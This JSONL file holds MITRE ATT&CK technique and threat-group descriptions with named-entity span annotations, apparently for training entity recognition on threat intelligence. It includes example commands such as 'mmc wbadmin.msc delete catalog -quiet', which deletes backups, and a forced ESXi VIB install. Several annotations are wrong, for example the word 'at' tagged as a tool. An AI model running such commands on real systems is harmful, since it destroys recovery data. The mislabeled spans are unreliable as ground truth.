{"text": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "spans": {"ORGANIZATION: Google": [[638, 644]], "SYSTEM: SSL": [[751, 754]], "SYSTEM: TLS": [[755, 758]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1102.001"}}
{"text": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1001.001"}}
{"text": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"TOOL: at": [[611, 613]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598.001"}}
{"text": "Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.\n\nVIBs can be broken down into three components:\n\n* VIB payload: a `.vgz` archive containing the directories and files to be created and executed on boot when the VIBs are loaded.  \n* Signature file: verifies the host acceptance level of a VIB, indicating what testing and validation has been done by VMware or its partners before publication of a VIB. By default, ESXi hosts require a minimum acceptance level of PartnerSupported for VIB installation, meaning the VIB is published by a trusted VMware partner. However, privileged users can change the default acceptance level using the `esxcli` command line interface. Additionally, VIBs are able to be installed regardless of acceptance level by using the <code> esxcli software vib install --force</code> command. \n* XML descriptor file: a configuration file containing associated VIB metadata, such as the name of the VIB and its dependencies.  \n\nAdversaries may leverage malicious VIB packages to maintain persistent access to ESXi hypervisors, allowing system changes to be executed upon each bootup of ESXi – such as using  `esxcli` to enable firewall rules for backdoor traffic, creating listeners on hard coded ports, and executing backdoors. Adversaries may also masquerade their malicious VIB files as PartnerSupported by modifying the XML descriptor file.", "spans": {"SYSTEM: VMware": [[204, 210], [895, 901], [1089, 1095]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.006"}}
{"text": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment. An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.", "spans": {"SYSTEM: Docker": [[117, 123], [260, 266], [595, 601]], "SYSTEM: API": [[124, 127], [267, 270], [488, 491], [536, 539], [602, 605]], "SYSTEM: Kubernetes": [[132, 142], [477, 487], [525, 535], [637, 647]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.007"}}
{"text": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.", "spans": {"SYSTEM: AWS": [[654, 657]], "SYSTEM: DNS": [[723, 726], [1084, 1087]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.001"}}
{"text": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers. To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server. \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.). Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.", "spans": {"ORGANIZATION: Microsoft": [[673, 682]], "SYSTEM: SQL Server": [[683, 693]], "SYSTEM: .NET": [[839, 843], [872, 876]], "SYSTEM: C#": [[878, 880]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.001"}}
{"text": "Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\nModify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.004"}}
{"text": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface. Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data. Adversaries have also been observed leveraging third-party drivers like RawDisk to directly access disk content. This behavior is distinct from Data Destruction because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.", "spans": {"MALWARE: RawDisk": [[673, 680]], "SYSTEM: SMB": [[1129, 1132]], "SYSTEM: Windows": [[1133, 1140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1561.001"}}
{"text": "Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.  \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: \n\n* Testing / development credentials (i.e., Chat Messages) \n* Source code snippets \n* Links to network shares and other internal resources \n* Proprietary data\n* Discussions about ongoing incident response efforts\n\nIn addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.", "spans": {"ORGANIZATION: Microsoft": [[66, 75]], "ORGANIZATION: Google": [[83, 89]], "SYSTEM: Slack": [[100, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1213.005"}}
{"text": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.", "spans": {"SYSTEM: HTTP": [[386, 390]], "TOOL: FTP": [[392, 395]], "SYSTEM: DNS": [[400, 403]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1048.003"}}
{"text": "Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage).\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.\n\nFile archives may be sent as one Spearphishing Attachment through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., Malicious File). However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.\n\nCompression may be used in combination with Encrypted/Encoded File where compressed files are encrypted and password-protected.", "spans": {"TOOL: RAR": [[121, 124]], "SYSTEM: Windows Registry": [[346, 362]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.015"}}
{"text": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"TOOL: at": [[152, 154], [407, 409]], "SYSTEM: macOS": [[695, 700]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.004"}}
{"text": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. \n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption.  Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1601.002"}}
{"text": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.", "spans": {"SYSTEM: Access": [[94, 100]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1078.003"}}
{"text": "Adversaries may gain initial access to target systems by connecting to wireless networks. They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring Valid Accounts — belonging to a target organization. Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection. \n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target’s Wi-Fi network.\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform Network Sniffing or Adversary-in-the-Middle activities for Credential Access or Discovery.", "spans": {"SYSTEM: Access": [[1199, 1205]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1669"}}
{"text": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries , evade security logs , or deploy hidden infrastructure.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1211"}}
{"text": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them. However, adversaries may leverage \"reputation hijacking\" to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.", "spans": {"SYSTEM: Windows": [[545, 552]], "ORGANIZATION: Microsoft": [[694, 703]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1127"}}
{"text": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. <code>reload</code>). They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot. Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a “blue screen of death” (BSOD) to a system. In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via Access Token Manipulation).\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.", "spans": {"SYSTEM: Windows": [[663, 670], [845, 852]], "SYSTEM: API": [[671, 674], [853, 856], [1017, 1020]], "SYSTEM: Access": [[1098, 1104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1529"}}
{"text": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.\n\nFor example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode. Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.", "spans": {"ORGANIZATION: Microsoft": [[74, 83], [143, 152], [326, 335], [457, 466]], "SYSTEM: Windows": [[391, 398]], "FILEPATH: C:\\Users\\foo\\admintools.msc": [[542, 569]], "SYSTEM: Group Policy": [[714, 726]], "SYSTEM: Windows Server": [[1047, 1061]], "SYSTEM: Component Object Model": [[1271, 1293]], "FILEPATH: C:\\path\\to\\test.msc": [[1571, 1590]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.014"}}
{"text": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.\n\nAdversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.\n\nThis behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.", "spans": {"SYSTEM: Windows": [[201, 208]], "SYSTEM: Native API": [[870, 880]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.010"}}
{"text": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a Component Object Model (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: Bypass User Account Control) if the victim .NET process executes at a higher permission level, as well as to hook and Impair Defenses provided by .NET processes.", "spans": {"SYSTEM: .NET": [[118, 122], [150, 154], [237, 241], [280, 284], [433, 437], [848, 852], [1123, 1127], [1273, 1277], [1376, 1380]], "TOOL: at": [[493, 495], [1295, 1297]], "SYSTEM: Registry": [[652, 660], [824, 832]], "SYSTEM: Component Object Model": [[670, 692]], "SYSTEM: COM": [[694, 697]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.012"}}
{"text": "Indrik Spider is a Russia-based cybercriminal group that has been active since at least 2014. Indrik Spider initially started with the Dridex banking Trojan, and then by 2017 they began running ransomware operations using BitPaymer, WastedLocker, and Hades ransomware. Following U.S. sanctions and an indictment in 2019, Indrik Spider changed their tactics and diversified their toolset.", "spans": {"THREAT_ACTOR: Indrik Spider": [[0, 13], [94, 107], [321, 334]], "TOOL: at": [[79, 81]], "MALWARE: Dridex": [[135, 141]], "MALWARE: BitPaymer": [[222, 231]], "MALWARE: WastedLocker": [[233, 245]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0119"}}
{"text": "LuminousMoth is a Chinese-speaking cyber espionage group that has been active since at least October 2020. LuminousMoth has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between LuminousMoth and Mustang Panda based on similar targeting and TTPs, as well as network infrastructure overlaps.", "spans": {"THREAT_ACTOR: LuminousMoth": [[0, 12], [107, 119], [337, 349]], "TOOL: at": [[84, 86]], "THREAT_ACTOR: Mustang Panda": [[354, 367]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1014"}}
{"text": "Medusa Group has been active since at least 2021 and was initially operated as a closed ransomware group before evolving into a Ransomware-as-a-Service (RaaS) operation. Some reporting indicates that certain attacks may still be conducted directly by the ransomware’s core developers. Public sources have also referred to the group as “Spearwing” or “Medusa Actors.”   Medusa Group employs living-off-the-land techniques, frequently leveraging publicly available tools and common remote management software to conduct operations. The group engages in double extortion tactics, exfiltrating data prior to encryption and threatening to publish stolen information if ransom demands are not met.  For initial access, Medusa Group has exploited publicly known vulnerabilities, conducted phishing campaigns, and used credentials or access purchased from Initial Access Brokers (IABs). The group is opportunistic and has targeted a wide range of sectors globally.", "spans": {"THREAT_ACTOR: Medusa Group": [[0, 12], [369, 381], [713, 725]], "TOOL: at": [[35, 37]], "SYSTEM: Access": [[856, 862]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1051"}}
{"text": "Wizard Spider is a Russia-based financially motivated threat group originally known for the creation and deployment of TrickBot since at least 2016. Wizard Spider possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.", "spans": {"THREAT_ACTOR: Wizard Spider": [[0, 13], [149, 162]], "MALWARE: TrickBot": [[119, 127]], "TOOL: at": [[134, 136]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0102"}}
{"text": "Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora.  The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers.", "spans": {"THREAT_ACTOR: Elderwood": [[0, 9]], "ORGANIZATION: Google": [[100, 106]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0066"}}
{"text": "FIN7 is a financially-motivated threat group that has been active since 2013. FIN7 has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of FIN7 was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, FIN7 shifted operations to big game hunting (BGH), including use of REvil ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the Carbanak Group, but multiple threat groups have been observed using Carbanak, leading these groups to be tracked separately.", "spans": {"THREAT_ACTOR: FIN7": [[0, 4], [78, 82], [328, 332], [463, 467], [604, 608]], "MALWARE: REvil": [[531, 536]], "MALWARE: Carbanak": [[630, 638], [698, 706]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0046"}}
{"text": "UNC3886 is a China-nexus cyberespionage group that has been active since at least 2022, targeting defense, technology, and telecommunication organizations located in the United States and the Asia-Pacific-Japan (APJ) regions. UNC3886 has displayed a deep understanding of edge devices and virtualization technologies through the exploitation of zero-day vulnerabilities and the use of novel malware families and utilities.", "spans": {"THREAT_ACTOR: UNC3886": [[0, 7], [226, 233]], "TOOL: at": [[73, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1048"}}
{"text": "Velvet Ant is a threat actor operating since at least 2021. Velvet Ant is associated with complex persistence mechanisms, the targeting of network devices and appliances during operations, and the use of zero day exploits.", "spans": {"THREAT_ACTOR: Velvet Ant": [[0, 10], [60, 70]], "TOOL: at": [[45, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1047"}}
{"text": "WIRTE is a threat group that has been active since at least August 2018. WIRTE has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.", "spans": {"THREAT_ACTOR: WIRTE": [[0, 5], [73, 78]], "TOOL: at": [[51, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0090"}}
{"text": "Dragonfly is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16. Active since at least 2010, Dragonfly has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.", "spans": {"THREAT_ACTOR: Dragonfly": [[0, 9], [144, 153]], "ORGANIZATION: FSB": [[100, 103]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0035"}}
{"text": "OilRig is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.", "spans": {"THREAT_ACTOR: OilRig": [[0, 6]], "TOOL: at": [[108, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0049"}}
{"text": "Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.", "spans": {"THREAT_ACTOR: Equation": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0020"}}
{"text": "Fox Kitten is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. Fox Kitten has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.", "spans": {"THREAT_ACTOR: Fox Kitten": [[0, 10], [206, 216]], "TOOL: at": [[103, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0117"}}
{"text": "Lazarus Group is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB).   Lazarus Group has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.\n\nNorth Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.", "spans": {"THREAT_ACTOR: Lazarus Group": [[0, 13], [124, 137], [355, 368], [830, 843]], "TOOL: at": [[160, 162]], "ORGANIZATION: Sony": [[254, 258]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0032"}}
{"text": "Aquatic Panda is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, Aquatic Panda has primarily targeted entities in the telecommunications, technology, and government sectors.", "spans": {"THREAT_ACTOR: Aquatic Panda": [[0, 13], [159, 172]], "TOOL: at": [[140, 142]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0143"}}
{"text": "Daggerfly is a People's Republic of China-linked APT entity active since at least 2012. Daggerfly has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. Daggerfly is associated with exclusive use of MgBot malware and is noted for several potential supply chain infection campaigns.", "spans": {"THREAT_ACTOR: Daggerfly": [[0, 9], [88, 97], [205, 214]], "TOOL: at": [[73, 75]], "MALWARE: MgBot": [[251, 256]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1034"}}
{"text": "TeamTNT is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.", "spans": {"THREAT_ACTOR: TeamTNT": [[0, 7]], "TOOL: at": [[123, 125]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0139"}}
{"text": "TA505 is a cyber criminal group that has been active since at least 2014. TA505 is known for frequently changing malware, driving global trends in criminal malware distribution, and ransomware campaigns involving Clop.", "spans": {"THREAT_ACTOR: TA505": [[0, 5], [74, 79]], "TOOL: at": [[59, 61]], "MALWARE: Clop": [[213, 217]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0092"}}
{"text": "Inception is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.", "spans": {"THREAT_ACTOR: Inception": [[0, 9]], "TOOL: at": [[50, 52]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0100"}}
{"text": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.", "spans": {"THREAT_ACTOR: admin@338": [[0, 9]], "MALWARE: PoisonIvy": [[256, 265]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0018"}}
{"text": "BlackTech is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. BlackTech has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.", "spans": {"THREAT_ACTOR: BlackTech": [[0, 9], [186, 195]], "TOOL: at": [[171, 173]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0098"}}
